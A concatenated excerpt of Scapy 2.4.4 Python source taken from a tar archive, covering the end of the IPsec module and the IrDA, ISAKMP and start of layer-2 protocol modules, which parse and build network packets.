cryptography.hazmat.primitives.hmac import HMAC from cryptography.hazmat.primitives.cmac import CMAC from cryptography.hazmat.primitives import hashes else: # no error if cryptography is not available but authentication won't be supported # noqa: E501 HMAC = CMAC = hashes = None ############################################################################### class IPSecIntegrityError(Exception): """ Error risen when the integrity check fails. """ pass class AuthAlgo(object): """ IPsec integrity algorithm """ def __init__(self, name, mac, digestmod, icv_size, key_size=None): """ :param name: the name of this integrity algorithm :param mac: a Message Authentication Code module :param digestmod: a Hash or Cipher module :param icv_size: the length of the integrity check value of this algo :param key_size: an integer or list/tuple of integers. If specified, force the secret keys length to one of the values. Defaults to the `key_size` of the cipher. """ self.name = name self.mac = mac self.digestmod = digestmod self.icv_size = icv_size self.key_size = key_size def check_key(self, key): """ Check that the key length is valid. :param key: a byte string """ if self.key_size and len(key) not in self.key_size: raise TypeError('invalid key size %s, must be one of %s' % (len(key), self.key_size)) @crypto_validator def new_mac(self, key): """ :param key: a byte string :returns: an initialized mac object for this algo """ if self.mac is CMAC: return self.mac(self.digestmod(key), default_backend()) else: return self.mac(key, self.digestmod(), default_backend()) def sign(self, pkt, key, esn_en=False, esn=0): """ Sign an IPsec (ESP or AH) packet with this algo. :param pkt: a packet that contains a valid encrypted ESP or AH layer :param key: the authentication key, a byte string :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit :param esn: extended sequence number (32 MSB) :returns: the signed packet """ if not self.mac: return pkt mac = self.new_mac(key) if pkt.haslayer(ESP): mac.update(raw(pkt[ESP])) pkt[ESP].data += mac.finalize()[:self.icv_size] elif pkt.haslayer(AH): clone = zero_mutable_fields(pkt.copy(), sending=True) if esn_en: temp = raw(clone) + struct.pack('!L', esn) else: temp = raw(clone) mac.update(temp) pkt[AH].icv = mac.finalize()[:self.icv_size] return pkt def verify(self, pkt, key, esn_en=False, esn=0): """ Check that the integrity check value (icv) of a packet is valid. :param pkt: a packet that contains a valid encrypted ESP or AH layer :param key: the authentication key, a byte string :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit :param esn: extended sequence number (32 MSB) :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check fails """ if not self.mac or self.icv_size == 0: return mac = self.new_mac(key) pkt_icv = 'not found' if isinstance(pkt, ESP): pkt_icv = pkt.data[len(pkt.data) - self.icv_size:] clone = pkt.copy() clone.data = clone.data[:len(clone.data) - self.icv_size] temp = raw(clone) elif pkt.haslayer(AH): if len(pkt[AH].icv) != self.icv_size: # Fill padding since we know the actual icv_size pkt[AH].padding = pkt[AH].icv[self.icv_size:] pkt[AH].icv = pkt[AH].icv[:self.icv_size] pkt_icv = pkt[AH].icv clone = zero_mutable_fields(pkt.copy(), sending=False) if esn_en: temp = raw(clone) + struct.pack('!L', esn) else: temp = raw(clone) mac.update(temp) computed_icv = mac.finalize()[:self.icv_size] # XXX: Cannot use mac.verify because the ICV can be truncated if pkt_icv != computed_icv: raise IPSecIntegrityError('pkt_icv=%r, computed_icv=%r' % (pkt_icv, computed_icv)) ############################################################################### # The names of the integrity algorithms are the same than in scapy.contrib.ikev2 # noqa: E501 # see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml AUTH_ALGOS = { 'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0), } if HMAC and hashes: # XXX: NIST has deprecated SHA1 but is required by RFC7321 AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96', mac=HMAC, digestmod=hashes.SHA1, icv_size=12) AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128', mac=HMAC, digestmod=hashes.SHA256, icv_size=16) AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192', mac=HMAC, digestmod=hashes.SHA384, icv_size=24) AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256', mac=HMAC, digestmod=hashes.SHA512, icv_size=32) # XXX:Flagged as deprecated by 'cryptography'. Kept for backward compat AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96', mac=HMAC, digestmod=hashes.MD5, icv_size=12) if CMAC and algorithms: AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96', mac=CMAC, digestmod=algorithms.AES, icv_size=12, key_size=(16,)) ############################################################################### def split_for_transport(orig_pkt, transport_proto): """ Split an IP(v6) packet in the correct location to insert an ESP or AH header. :param orig_pkt: the packet to split. Must be an IP or IPv6 packet :param transport_proto: the IPsec protocol number that will be inserted at the split position. :returns: a tuple (header, nh, payload) where nh is the protocol number of payload. """ # force resolution of default fields to avoid padding errors header = orig_pkt.__class__(raw(orig_pkt)) next_hdr = header.payload nh = None if header.version == 4: nh = header.proto header.proto = transport_proto header.remove_payload() del header.chksum del header.len return header, nh, next_hdr else: found_rt_hdr = False prev = header # Since the RFC 4302 is vague about where the ESP/AH headers should be # inserted in IPv6, I chose to follow the linux implementation. while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): # noqa: E501 if isinstance(next_hdr, IPv6ExtHdrHopByHop): pass if isinstance(next_hdr, IPv6ExtHdrRouting): found_rt_hdr = True elif isinstance(next_hdr, IPv6ExtHdrDestOpt) and found_rt_hdr: break prev = next_hdr next_hdr = next_hdr.payload nh = prev.nh prev.nh = transport_proto prev.remove_payload() del header.plen return header, nh, next_hdr ############################################################################### # see RFC 4302 - Appendix A. Mutability of IP Options/Extension Headers IMMUTABLE_IPV4_OPTIONS = ( 0, # End Of List 1, # No OPeration 2, # Security 5, # Extended Security 6, # Commercial Security 20, # Router Alert 21, # Sender Directed Multi-Destination Delivery ) def zero_mutable_fields(pkt, sending=False): """ When using AH, all "mutable" fields must be "zeroed" before calculating the ICV. See RFC 4302, Section 3.3.3.1. Handling Mutable Fields. :param pkt: an IP(v6) packet containing an AH layer. NOTE: The packet will be modified :param sending: if true, ipv6 routing headers will not be reordered """ if pkt.haslayer(AH): pkt[AH].icv = b"\x00" * len(pkt[AH].icv) else: raise TypeError('no AH layer found') if pkt.version == 4: # the tos field has been replaced by DSCP and ECN # Routers may rewrite the DS field as needed to provide a # desired local or end-to-end service pkt.tos = 0 # an intermediate router might set the DF bit, even if the source # did not select it. pkt.flags = 0 # changed en route as a normal course of processing by routers pkt.ttl = 0 # will change if any of these other fields change pkt.chksum = 0 immutable_opts = [] for opt in pkt.options: if opt.option in IMMUTABLE_IPV4_OPTIONS: immutable_opts.append(opt) else: immutable_opts.append(Raw(b"\x00" * len(opt))) pkt.options = immutable_opts else: # holds DSCP and ECN pkt.tc = 0 # The flow label described in AHv1 was mutable, and in RFC 2460 [DH98] # was potentially mutable. To retain compatibility with existing AH # implementations, the flow label is not included in the ICV in AHv2. pkt.fl = 0 # same as ttl pkt.hlim = 0 next_hdr = pkt.payload while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): # noqa: E501 if isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt)): for opt in next_hdr.options: if opt.otype & 0x20: # option data can change en-route and must be zeroed opt.optdata = b"\x00" * opt.optlen elif isinstance(next_hdr, IPv6ExtHdrRouting) and sending: # The sender must order the field so that it appears as it # will at the receiver, prior to performing the ICV computation. # noqa: E501 next_hdr.segleft = 0 if next_hdr.addresses: final = next_hdr.addresses.pop() next_hdr.addresses.insert(0, pkt.dst) pkt.dst = final else: break next_hdr = next_hdr.payload return pkt ############################################################################### class SecurityAssociation(object): """ This class is responsible of "encryption" and "decryption" of IPsec packets. # noqa: E501 """ SUPPORTED_PROTOS = (IP, IPv6) def __init__(self, proto, spi, seq_num=1, crypt_algo=None, crypt_key=None, auth_algo=None, auth_key=None, tunnel_header=None, nat_t_header=None, esn_en=False, esn=0): # noqa: E501 """ :param proto: the IPsec proto to use (ESP or AH) :param spi: the Security Parameters Index of this SA :param seq_num: the initial value for the sequence number on encrypted packets :param crypt_algo: the encryption algorithm name (only used with ESP) :param crypt_key: the encryption key (only used with ESP) :param auth_algo: the integrity algorithm name :param auth_key: the integrity key :param tunnel_header: an instance of a IP(v6) header that will be used to encapsulate the encrypted packets. :param nat_t_header: an instance of a UDP header that will be used for NAT-Traversal. :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :param esn: extended sequence number (32 MSB) """ if proto not in (ESP, AH, ESP.name, AH.name): raise ValueError("proto must be either ESP or AH") if isinstance(proto, six.string_types): self.proto = eval(proto) else: self.proto = proto self.spi = spi self.seq_num = seq_num self.esn_en = esn_en # Get Extended Sequence (32 MSB) self.esn = esn if crypt_algo: if crypt_algo not in CRYPT_ALGOS: raise TypeError('unsupported encryption algo %r, try %r' % (crypt_algo, list(CRYPT_ALGOS))) self.crypt_algo = CRYPT_ALGOS[crypt_algo] if crypt_key: salt_size = self.crypt_algo.salt_size self.crypt_key = crypt_key[:len(crypt_key) - salt_size] self.crypt_salt = crypt_key[len(crypt_key) - salt_size:] else: self.crypt_key = None self.crypt_salt = None else: self.crypt_algo = CRYPT_ALGOS['NULL'] self.crypt_key = None self.crypt_salt = None if auth_algo: if auth_algo not in AUTH_ALGOS: raise TypeError('unsupported integrity algo %r, try %r' % (auth_algo, list(AUTH_ALGOS))) self.auth_algo = AUTH_ALGOS[auth_algo] self.auth_key = auth_key else: self.auth_algo = AUTH_ALGOS['NULL'] self.auth_key = None if tunnel_header and not isinstance(tunnel_header, (IP, IPv6)): raise TypeError('tunnel_header must be %s or %s' % (IP.name, IPv6.name)) # noqa: E501 self.tunnel_header = tunnel_header if nat_t_header: if proto is not ESP: raise TypeError('nat_t_header is only allowed with ESP') if not isinstance(nat_t_header, UDP): raise TypeError('nat_t_header must be %s' % UDP.name) self.nat_t_header = nat_t_header def check_spi(self, pkt): if pkt.spi != self.spi: raise TypeError('packet spi=0x%x does not match the SA spi=0x%x' % (pkt.spi, self.spi)) def _encrypt_esp(self, pkt, seq_num=None, iv=None, esn_en=None, esn=None): if iv is None: iv = self.crypt_algo.generate_iv() else: if len(iv) != self.crypt_algo.iv_size: raise TypeError('iv length must be %s' % self.crypt_algo.iv_size) # noqa: E501 esp = _ESPPlain(spi=self.spi, seq=seq_num or self.seq_num, iv=iv) if self.tunnel_header: tunnel = self.tunnel_header.copy() if tunnel.version == 4: del tunnel.proto del tunnel.len del tunnel.chksum else: del tunnel.nh del tunnel.plen pkt = tunnel.__class__(raw(tunnel / pkt)) ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_ESP) esp.data = payload esp.nh = nh esp = self.crypt_algo.pad(esp) esp = self.crypt_algo.encrypt(self, esp, self.crypt_key, esn_en=esn_en or self.esn_en, esn=esn or self.esn) self.auth_algo.sign(esp, self.auth_key) if self.nat_t_header: nat_t_header = self.nat_t_header.copy() nat_t_header.chksum = 0 del nat_t_header.len if ip_header.version == 4: del ip_header.proto else: del ip_header.nh ip_header /= nat_t_header if ip_header.version == 4: ip_header.len = len(ip_header) + len(esp) del ip_header.chksum ip_header = ip_header.__class__(raw(ip_header)) else: ip_header.plen = len(ip_header.payload) + len(esp) # sequence number must always change, unless specified by the user if seq_num is None: self.seq_num += 1 return ip_header / esp def _encrypt_ah(self, pkt, seq_num=None, esn_en=False, esn=0): ah = AH(spi=self.spi, seq=seq_num or self.seq_num, icv=b"\x00" * self.auth_algo.icv_size) if self.tunnel_header: tunnel = self.tunnel_header.copy() if tunnel.version == 4: del tunnel.proto del tunnel.len del tunnel.chksum else: del tunnel.nh del tunnel.plen pkt = tunnel.__class__(raw(tunnel / pkt)) ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_AH) ah.nh = nh if ip_header.version == 6 and len(ah) % 8 != 0: # For IPv6, the total length of the header must be a multiple of # 8-octet units. ah.padding = b"\x00" * (-len(ah) % 8) elif len(ah) % 4 != 0: # For IPv4, the total length of the header must be a multiple of # 4-octet units. ah.padding = b"\x00" * (-len(ah) % 4) # RFC 4302 - Section 2.2. Payload Length # This 8-bit field specifies the length of AH in 32-bit words (4-byte # units), minus "2". ah.payloadlen = len(ah) // 4 - 2 if ip_header.version == 4: ip_header.len = len(ip_header) + len(ah) + len(payload) del ip_header.chksum ip_header = ip_header.__class__(raw(ip_header)) else: ip_header.plen = len(ip_header.payload) + len(ah) + len(payload) signed_pkt = self.auth_algo.sign(ip_header / ah / payload, self.auth_key, esn_en=esn_en or self.esn_en, esn=esn or self.esn) # sequence number must always change, unless specified by the user if seq_num is None: self.seq_num += 1 return signed_pkt def encrypt(self, pkt, seq_num=None, iv=None, esn_en=None, esn=None): """ Encrypt (and encapsulate) an IP(v6) packet with ESP or AH according to this SecurityAssociation. :param pkt: the packet to encrypt :param seq_num: if specified, use this sequence number instead of the generated one :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :param esn: extended sequence number (32 MSB) :param iv: if specified, use this initialization vector for encryption instead of a random one. :returns: the encrypted/encapsulated packet """ if not isinstance(pkt, self.SUPPORTED_PROTOS): raise TypeError('cannot encrypt %s, supported protos are %s' % (pkt.__class__, self.SUPPORTED_PROTOS)) if self.proto is ESP: return self._encrypt_esp(pkt, seq_num=seq_num, iv=iv, esn_en=esn_en, esn=esn) else: return self._encrypt_ah(pkt, seq_num=seq_num, esn_en=esn_en, esn=esn) def _decrypt_esp(self, pkt, verify=True, esn_en=None, esn=None): encrypted = pkt[ESP] if verify: self.check_spi(pkt) self.auth_algo.verify(encrypted, self.auth_key) esp = self.crypt_algo.decrypt(self, encrypted, self.crypt_key, self.crypt_algo.icv_size or self.auth_algo.icv_size, esn_en=esn_en or self.esn_en, esn=esn or self.esn) if self.tunnel_header: # drop the tunnel header and return the payload untouched pkt.remove_payload() if pkt.version == 4: pkt.proto = esp.nh else: pkt.nh = esp.nh cls = pkt.guess_payload_class(esp.data) return cls(esp.data) else: ip_header = pkt if ip_header.version == 4: ip_header.proto = esp.nh del ip_header.chksum ip_header.remove_payload() ip_header.len = len(ip_header) + len(esp.data) # recompute checksum ip_header = ip_header.__class__(raw(ip_header)) else: encrypted.underlayer.nh = esp.nh encrypted.underlayer.remove_payload() ip_header.plen = len(ip_header.payload) + len(esp.data) cls = ip_header.guess_payload_class(esp.data) # reassemble the ip_header with the ESP payload return ip_header / cls(esp.data) def _decrypt_ah(self, pkt, verify=True, esn_en=None, esn=None): if verify: self.check_spi(pkt) self.auth_algo.verify(pkt, self.auth_key, esn_en=esn_en or self.esn_en, esn=esn or self.esn) ah = pkt[AH] payload = ah.payload payload.remove_underlayer(None) # useless argument... if self.tunnel_header: return payload else: ip_header = pkt if ip_header.version == 4: ip_header.proto = ah.nh del ip_header.chksum ip_header.remove_payload() ip_header.len = len(ip_header) + len(payload) # recompute checksum ip_header = ip_header.__class__(raw(ip_header)) else: ah.underlayer.nh = ah.nh ah.underlayer.remove_payload() ip_header.plen = len(ip_header.payload) + len(payload) # reassemble the ip_header with the AH payload return ip_header / payload def decrypt(self, pkt, verify=True, esn_en=None, esn=None): """ Decrypt (and decapsulate) an IP(v6) packet containing ESP or AH. :param pkt: the packet to decrypt :param verify: if False, do not perform the integrity check :param esn_en: extended sequence number enable which allows to use 64-bit sequence number instead of 32-bit when using an AEAD algorithm :param esn: extended sequence number (32 MSB) :returns: the decrypted/decapsulated packet :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check fails """ if not isinstance(pkt, self.SUPPORTED_PROTOS): raise TypeError('cannot decrypt %s, supported protos are %s' % (pkt.__class__, self.SUPPORTED_PROTOS)) if self.proto is ESP and pkt.haslayer(ESP): return self._decrypt_esp(pkt, verify=verify, esn_en=esn_en, esn=esn) elif self.proto is AH and pkt.haslayer(AH): return self._decrypt_ah(pkt, verify=verify, esn_en=esn_en, esn=esn) else: raise TypeError('%s has no %s layer' % (pkt, self.proto.name)) scapy-2.4.4/scapy/layers/ir.py000066400000000000000000000027331372370053500162540ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ IrDA infrared data communication. """ from scapy.packet import Packet, bind_layers from scapy.fields import BitEnumField, ByteEnumField, StrField, XBitField, \ XByteField, XIntField, XShortField from scapy.layers.l2 import CookedLinux # IR class IrLAPHead(Packet): name = "IrDA Link Access Protocol Header" fields_desc = [XBitField("Address", 0x7f, 7), BitEnumField("Type", 1, 1, {"Response": 0, "Command": 1})] class IrLAPCommand(Packet): name = "IrDA Link Access Protocol Command" fields_desc = [XByteField("Control", 0), XByteField("Format identifier", 0), XIntField("Source address", 0), XIntField("Destination address", 0xffffffff), XByteField("Discovery flags", 0x1), ByteEnumField("Slot number", 255, {"final": 255}), XByteField("Version", 0)] class IrLMP(Packet): name = "IrDA Link Management Protocol" fields_desc = [XShortField("Service hints", 0), XByteField("Character set", 0), StrField("Device name", "")] bind_layers(CookedLinux, IrLAPHead, proto=23) bind_layers(IrLAPHead, IrLAPCommand, Type=1) bind_layers(IrLAPCommand, IrLMP,) scapy-2.4.4/scapy/layers/isakmp.py000066400000000000000000000342711372370053500171300ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ ISAKMP (Internet Security Association and Key Management Protocol). """ # Mostly based on https://tools.ietf.org/html/rfc2408 from __future__ import absolute_import import struct from scapy.config import conf from scapy.packet import Packet, bind_bottom_up, bind_top_down, bind_layers from scapy.compat import chb from scapy.fields import ByteEnumField, ByteField, FieldLenField, FlagsField, \ IntEnumField, IntField, PacketLenField, ShortEnumField, ShortField, \ StrFixedLenField, StrLenField, XByteField from scapy.layers.inet import IP, UDP from scapy.sendrecv import sr from scapy.volatile import RandString from scapy.error import warning from functools import reduce # TODO: some ISAKMP payloads are not implemented, # and inherit a default ISAKMP_payload # see http://www.iana.org/assignments/ipsec-registry for details ISAKMPAttributeTypes = {"Encryption": (1, {"DES-CBC": 1, "IDEA-CBC": 2, "Blowfish-CBC": 3, "RC5-R16-B64-CBC": 4, "3DES-CBC": 5, "CAST-CBC": 6, "AES-CBC": 7, "CAMELLIA-CBC": 8, }, 0), "Hash": (2, {"MD5": 1, "SHA": 2, "Tiger": 3, "SHA2-256": 4, "SHA2-384": 5, "SHA2-512": 6, }, 0), "Authentication": (3, {"PSK": 1, "DSS": 2, "RSA Sig": 3, "RSA Encryption": 4, "RSA Encryption Revised": 5, "ElGamal Encryption": 6, "ElGamal Encryption Revised": 7, "ECDSA Sig": 8, "HybridInitRSA": 64221, "HybridRespRSA": 64222, "HybridInitDSS": 64223, "HybridRespDSS": 64224, "XAUTHInitPreShared": 65001, "XAUTHRespPreShared": 65002, "XAUTHInitDSS": 65003, "XAUTHRespDSS": 65004, "XAUTHInitRSA": 65005, "XAUTHRespRSA": 65006, "XAUTHInitRSAEncryption": 65007, "XAUTHRespRSAEncryption": 65008, "XAUTHInitRSARevisedEncryption": 65009, # noqa: E501 "XAUTHRespRSARevisedEncryptio": 65010, }, 0), # noqa: E501 "GroupDesc": (4, {"768MODPgr": 1, "1024MODPgr": 2, "EC2Ngr155": 3, "EC2Ngr185": 4, "1536MODPgr": 5, "2048MODPgr": 14, "3072MODPgr": 15, "4096MODPgr": 16, "6144MODPgr": 17, "8192MODPgr": 18, }, 0), "GroupType": (5, {"MODP": 1, "ECP": 2, "EC2N": 3}, 0), "GroupPrime": (6, {}, 1), "GroupGenerator1": (7, {}, 1), "GroupGenerator2": (8, {}, 1), "GroupCurveA": (9, {}, 1), "GroupCurveB": (10, {}, 1), "LifeType": (11, {"Seconds": 1, "Kilobytes": 2}, 0), "LifeDuration": (12, {}, 1), "PRF": (13, {}, 0), "KeyLength": (14, {}, 0), "FieldSize": (15, {}, 0), "GroupOrder": (16, {}, 1), } # the name 'ISAKMPTransformTypes' is actually a misnomer (since the table # holds info for all ISAKMP Attribute types, not just transforms, but we'll # keep it for backwards compatibility... for now at least ISAKMPTransformTypes = ISAKMPAttributeTypes ISAKMPTransformNum = {} for n in ISAKMPTransformTypes: val = ISAKMPTransformTypes[n] tmp = {} for e in val[1]: tmp[val[1][e]] = e ISAKMPTransformNum[val[0]] = (n, tmp, val[2]) del(n) del(e) del(tmp) del(val) class ISAKMPTransformSetField(StrLenField): islist = 1 @staticmethod def type2num(type_val_tuple): typ, val = type_val_tuple type_val, enc_dict, tlv = ISAKMPTransformTypes.get(typ, (typ, {}, 0)) val = enc_dict.get(val, val) s = b"" if (val & ~0xffff): if not tlv: warning("%r should not be TLV but is too big => using TLV encoding" % typ) # noqa: E501 n = 0 while val: s = chb(val & 0xff) + s val >>= 8 n += 1 val = n else: type_val |= 0x8000 return struct.pack("!HH", type_val, val) + s @staticmethod def num2type(typ, enc): val = ISAKMPTransformNum.get(typ, (typ, {})) enc = val[1].get(enc, enc) return (val[0], enc) def i2m(self, pkt, i): if i is None: return b"" i = [ISAKMPTransformSetField.type2num(e) for e in i] return b"".join(i) def m2i(self, pkt, m): # I try to ensure that we don't read off the end of our packet based # on bad length fields we're provided in the packet. There are still # conditions where struct.unpack() may not get enough packet data, but # worst case that should result in broken attributes (which would # be expected). (wam) lst = [] while len(m) >= 4: trans_type, = struct.unpack("!H", m[:2]) is_tlv = not (trans_type & 0x8000) if is_tlv: # We should probably check to make sure the attribute type we # are looking at is allowed to have a TLV format and issue a # warning if we're given an TLV on a basic attribute. value_len, = struct.unpack("!H", m[2:4]) if value_len + 4 > len(m): warning("Bad length for ISAKMP transform type=%#6x" % trans_type) # noqa: E501 value = m[4:4 + value_len] value = reduce(lambda x, y: (x << 8) | y, struct.unpack("!%s" % ("B" * len(value),), value), 0) # noqa: E501 else: trans_type &= 0x7fff value_len = 0 value, = struct.unpack("!H", m[2:4]) m = m[4 + value_len:] lst.append(ISAKMPTransformSetField.num2type(trans_type, value)) if len(m) > 0: warning("Extra bytes after ISAKMP transform dissection [%r]" % m) return lst ISAKMP_payload_type = ["None", "SA", "Proposal", "Transform", "KE", "ID", "CERT", "CR", "Hash", "SIG", "Nonce", "Notification", "Delete", "VendorID"] ISAKMP_exchange_type = ["None", "base", "identity prot.", "auth only", "aggressive", "info"] class ISAKMP_class(Packet): def guess_payload_class(self, payload): np = self.next_payload if np == 0: return conf.raw_layer elif np < len(ISAKMP_payload_type): pt = ISAKMP_payload_type[np] return globals().get("ISAKMP_payload_%s" % pt, ISAKMP_payload) else: return ISAKMP_payload class ISAKMP(ISAKMP_class): # rfc2408 name = "ISAKMP" fields_desc = [ StrFixedLenField("init_cookie", "", 8), StrFixedLenField("resp_cookie", "", 8), ByteEnumField("next_payload", 0, ISAKMP_payload_type), XByteField("version", 0x10), ByteEnumField("exch_type", 0, ISAKMP_exchange_type), FlagsField("flags", 0, 8, ["encryption", "commit", "auth_only", "res3", "res4", "res5", "res6", "res7"]), # XXX use a Flag field # noqa: E501 IntField("id", 0), IntField("length", None) ] def guess_payload_class(self, payload): if self.flags & 1: return conf.raw_layer return ISAKMP_class.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, ISAKMP): if other.init_cookie == self.init_cookie: return 1 return 0 def post_build(self, p, pay): p += pay if self.length is None: p = p[:24] + struct.pack("!I", len(p)) + p[28:] return p class ISAKMP_payload_Transform(ISAKMP_class): name = "IKE Transform" fields_desc = [ ByteEnumField("next_payload", None, ISAKMP_payload_type), ByteField("res", 0), # ShortField("len",None), ShortField("length", None), ByteField("num", None), ByteEnumField("id", 1, {1: "KEY_IKE"}), ShortField("res2", 0), ISAKMPTransformSetField("transforms", None, length_from=lambda x: x.length - 8) # noqa: E501 # XIntField("enc",0x80010005L), # XIntField("hash",0x80020002L), # XIntField("auth",0x80030001L), # XIntField("group",0x80040002L), # XIntField("life_type",0x800b0001L), # XIntField("durationh",0x000c0004L), # XIntField("durationl",0x00007080L), ] def post_build(self, p, pay): if self.length is None: tmp_len = len(p) tmp_pay = p[:2] + chb((tmp_len >> 8) & 0xff) p = tmp_pay + chb(tmp_len & 0xff) + p[4:] p += pay return p # https://tools.ietf.org/html/rfc2408#section-3.5 class ISAKMP_payload_Proposal(ISAKMP_class): name = "IKE proposal" # ISAKMP_payload_type = 0 fields_desc = [ ByteEnumField("next_payload", None, ISAKMP_payload_type), ByteField("res", 0), FieldLenField("length", None, "trans", "H", adjust=lambda pkt, x:x + 8), # noqa: E501 ByteField("proposal", 1), ByteEnumField("proto", 1, {1: "ISAKMP"}), FieldLenField("SPIsize", None, "SPI", "B"), ByteField("trans_nb", None), StrLenField("SPI", "", length_from=lambda x: x.SPIsize), PacketLenField("trans", conf.raw_layer(), ISAKMP_payload_Transform, length_from=lambda x: x.length - 8), # noqa: E501 ] class ISAKMP_payload(ISAKMP_class): name = "ISAKMP payload" fields_desc = [ ByteEnumField("next_payload", None, ISAKMP_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), StrLenField("load", "", length_from=lambda x:x.length - 4), ] class ISAKMP_payload_VendorID(ISAKMP_payload): name = "ISAKMP Vendor ID" class ISAKMP_payload_SA(ISAKMP_class): name = "ISAKMP SA" fields_desc = [ ByteEnumField("next_payload", None, ISAKMP_payload_type), ByteField("res", 0), FieldLenField("length", None, "prop", "H", adjust=lambda pkt, x:x + 12), # noqa: E501 IntEnumField("DOI", 1, {1: "IPSEC"}), IntEnumField("situation", 1, {1: "identity"}), PacketLenField("prop", conf.raw_layer(), ISAKMP_payload_Proposal, length_from=lambda x: x.length - 12), # noqa: E501 ] class ISAKMP_payload_Nonce(ISAKMP_payload): name = "ISAKMP Nonce" class ISAKMP_payload_KE(ISAKMP_payload): name = "ISAKMP Key Exchange" class ISAKMP_payload_ID(ISAKMP_class): name = "ISAKMP Identification" fields_desc = [ ByteEnumField("next_payload", None, ISAKMP_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), ByteEnumField("IDtype", 1, {1: "IPv4_addr", 11: "Key"}), ByteEnumField("ProtoID", 0, {0: "Unused"}), ShortEnumField("Port", 0, {0: "Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load", "", length_from=lambda x: x.length - 8), ] class ISAKMP_payload_Hash(ISAKMP_payload): name = "ISAKMP Hash" bind_bottom_up(UDP, ISAKMP, dport=500) bind_bottom_up(UDP, ISAKMP, sport=500) bind_layers(UDP, ISAKMP, dport=500, sport=500) # Add building bindings # (Dissection bindings are located in ISAKMP_class.guess_payload_class) bind_top_down(ISAKMP_class, ISAKMP_payload, next_payload=0) bind_top_down(ISAKMP_class, ISAKMP_payload_SA, next_payload=1) bind_top_down(ISAKMP_class, ISAKMP_payload_Proposal, next_payload=2) bind_top_down(ISAKMP_class, ISAKMP_payload_Transform, next_payload=3) bind_top_down(ISAKMP_class, ISAKMP_payload_KE, next_payload=4) bind_top_down(ISAKMP_class, ISAKMP_payload_ID, next_payload=5) # bind_top_down(ISAKMP_class, ISAKMP_payload_CERT, next_payload=6) # bind_top_down(ISAKMP_class, ISAKMP_payload_CR, next_payload=7) bind_top_down(ISAKMP_class, ISAKMP_payload_Hash, next_payload=8) # bind_top_down(ISAKMP_class, ISAKMP_payload_SIG, next_payload=9) bind_top_down(ISAKMP_class, ISAKMP_payload_Nonce, next_payload=10) # bind_top_down(ISAKMP_class, ISAKMP_payload_Notification, next_payload=11) # bind_top_down(ISAKMP_class, ISAKMP_payload_Delete, next_payload=12) bind_top_down(ISAKMP_class, ISAKMP_payload_VendorID, next_payload=13) def ikescan(ip): """Sends/receives a ISAMPK payload SA with payload proposal""" pkt = IP(dst=ip) pkt /= UDP() pkt /= ISAKMP(init_cookie=RandString(8), exch_type=2) pkt /= ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal()) return sr(pkt) scapy-2.4.4/scapy/layers/l2.py000066400000000000000000000657111372370053500161640ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Classes and functions for layer 2 protocols. """ from __future__ import absolute_import from __future__ import print_function import os import struct import time import socket from scapy.ansmachine import AnsweringMachine from scapy.arch import get_if_addr, get_if_hwaddr from scapy.base_classes import Gen, Net from scapy.compat import chb, orb from scapy.config import conf from scapy import consts from scapy.data import ARPHDR_ETHER, ARPHDR_LOOPBACK, ARPHDR_METRICOM, \ DLT_ETHERNET_MPACKET, DLT_LINUX_IRDA, DLT_LINUX_SLL, DLT_LOOP, \ DLT_NULL, ETHER_ANY, ETHER_BROADCAST, ETHER_TYPES, ETH_P_ARP, \ ETH_P_MACSEC from scapy.error import warning, ScapyNoDstMacException from scapy.fields import BCDFloatField, BitField, ByteField, \ ConditionalField, FieldLenField, FCSField, \ IntEnumField, IntField, IP6Field, IPField, \ LenField, MACField, MultipleTypeField, \ ShortEnumField, ShortField, SourceIP6Field, SourceIPField, \ StrFixedLenField, StrLenField, X3BytesField, XByteField, XIntField, \ XShortEnumField, XShortField from scapy.modules.six import viewitems from scapy.packet import bind_layers, Packet from scapy.plist import PacketList, SndRcvList from scapy.sendrecv import sendp, srp, srp1 from scapy.utils import checksum, hexdump, hexstr, inet_ntoa, inet_aton, \ mac2str, valid_mac, valid_net, valid_net6 if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 ################# # Tools # ################# class Neighbor: def __init__(self): self.resolvers = {} def register_l3(self, l2, l3, resolve_method): self.resolvers[l2, l3] = resolve_method def resolve(self, l2inst, l3inst): k = l2inst.__class__, l3inst.__class__ if k in self.resolvers: return self.resolvers[k](l2inst, l3inst) def __repr__(self): return "\n".join("%-15s -> %-15s" % (l2.__name__, l3.__name__) for l2, l3 in self.resolvers) # noqa: E501 conf.neighbor = Neighbor() 